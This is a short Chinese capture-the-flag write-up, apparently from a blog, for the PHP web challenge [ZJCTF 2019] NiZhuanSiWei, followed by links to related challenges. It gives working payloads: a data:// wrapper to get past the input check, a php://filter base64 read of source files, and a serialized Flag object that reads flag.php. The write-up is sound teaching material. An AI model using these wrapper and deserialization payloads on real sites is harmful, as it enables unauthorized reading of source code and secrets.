代码审计，要传三个参数，首先要text的内容等于welcome to the zjctf ，但是这里用了file_get_content()而不是简单的字符串相等，考虑使用php伪协议传入数据。
详见PHP伪协议总结 - 个人文章 - SegmentFault 思否
所以有
text=data://text/plain,welcome to the zjctf
下面接着include了file，旁边提示了useless.php，直接include它，是空白页面，接着用伪协议获取源码。
file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码后我们得到了，
结合一开始的password反序列化，可以让Flag里面的file再通过伪协议读取flag.php源码
运行得到
O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
让password等于上面这串 ，得到base64再解码
得到flag
![[<span style='color:red;'>ZJCTF</span> <span style='color:red;'>2019</span>]<span style='color:red;'>NiZhuanSiWei</span><span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/baca64cfc954499bbda2c8b70b33689a.png#pic_center)
![[<span style='color:red;'>ZJCTF</span> <span style='color:red;'>2019</span>]<span style='color:red;'>NiZhuanSiWei</span>](https://img-blog.csdnimg.cn/direct/1977ec31463745039afaaab229c6f5c0.png)
![练习 24 Web [<span style='color:red;'>ZJCTF</span> <span style='color:red;'>2019</span>]<span style='color:red;'>NiZhuanSiWei</span>](https://img-blog.csdnimg.cn/direct/348011632f1b4ca3b6081f7d25f9884a.png)
![伪协议和反序列化 [<span style='color:red;'>ZJCTF</span> <span style='color:red;'>2019</span>]<span style='color:red;'>NiZhuanSiWei</span>](https://img-blog.csdnimg.cn/direct/3ac797667b1449b2b8838a043c521d64.png)
![[BJDCTF2020]<span style='color:red;'>ZJCTF</span>，不过如此<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/b1ad55599e004b7584fcd8e3016b8586.png)
![[BJDCTF2020]<span style='color:red;'>ZJCTF</span>，不过如此 <span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/56aa48ea346c406ab6b46a92a0069cf2.png)
![[BJDCTF2020]<span style='color:red;'>ZJCTF</span>，不过如此<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/90149a20ccc24902b5f3a23c12eaa8b8.png)
![[SUCTF <span style='color:red;'>2019</span>]CheckIn<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/433178fb00bc49a584b1f1d6f86c0ac7.png)
